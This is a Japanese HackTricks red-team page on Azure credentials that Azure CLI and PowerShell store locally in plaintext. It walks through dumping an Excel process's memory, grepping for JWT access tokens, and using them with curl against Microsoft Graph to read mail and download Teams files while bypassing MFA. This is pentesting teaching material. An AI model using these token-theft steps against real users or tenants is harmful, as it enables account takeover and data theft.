Az - ローカルクラウド資格情報

Reading time: 5 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

ローカルトークンストレージとセキュリティ考慮事項

Azure CLI (コマンドラインインターフェース)

トークンと機密データはAzure CLIによってローカルに保存されており、セキュリティ上の懸念があります:

  1. アクセストークン: C:\Users\<username>\.AzureにあるaccessTokens.jsonにプレーンテキストで保存されています。
  2. サブスクリプション情報: 同じディレクトリにあるazureProfile.jsonにはサブスクリプションの詳細が含まれています。
  3. ログファイル: .azure内のErrorRecordsフォルダーには、次のような資格情報が露出したログが含まれている可能性があります:
  • 資格情報が埋め込まれた実行されたコマンド。
  • トークンを使用してアクセスされたURL、機密情報を明らかにする可能性があります。

Azure PowerShell

Azure PowerShellもトークンと機密データを保存しており、ローカルでアクセスできます:

  1. アクセストークン: C:\Users\<username>\.AzureにあるTokenCache.datにプレーンテキストで保存されています。
  2. サービスプリンシパルシークレット: これらはAzureRmContext.jsonに暗号化されずに保存されています。
  3. トークン保存機能: ユーザーはSave-AzContextコマンドを使用してトークンを永続化することができますが、不正アクセスを防ぐために注意して使用する必要があります。

自動ツールでの発見

メモリ内のトークン

このビデオで説明されているように、クラウドと同期された一部のMicrosoftソフトウェア(Excel、Teamsなど)は、メモリ内にプレーンテキストでアクセストークンを保存する可能性があります。したがって、プロセスのメモリをダンプし、JWTトークンをgrepすることで、MFAをバイパスしてクラウド内の被害者のいくつかのリソースにアクセスできるかもしれません。

手順:

  1. お気に入りのツールを使用して、EntraIDユーザーと同期されたExcelプロセスをダンプします。
  2. string excel.dmp | grep 'eyJ0'を実行し、出力内のいくつかのトークンを見つけます。
  3. 最も興味のあるトークンを見つけ、それらに対してツールを実行します:
bash
# Check the identity of the token
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/me | jq

# Check the email (you need a token authorized in login.microsoftonline.com)
curl -s -H "Authorization: Bearer <token>" https://outlook.office.com/api/v2.0/me/messages | jq

# Download a file from Teams
## You need a token that can access graph.microsoft.com
## Then, find the <site_id> inside the memory and call
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/sites/<site_id>/drives | jq

## Then, list one drive
curl -s -H "Authorization: Bearer <token>" 'https://graph.microsoft.com/v1.0/sites/<site_id>/drives/<drive_id>' | jq

## Finally, download a file from that drive:
curl -o <filename_output> -L -H "Authorization: Bearer <token>" '<@microsoft.graph.downloadUrl>'

この種のアクセストークンは、他のプロセス内にも存在する可能性があることに注意してください。

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする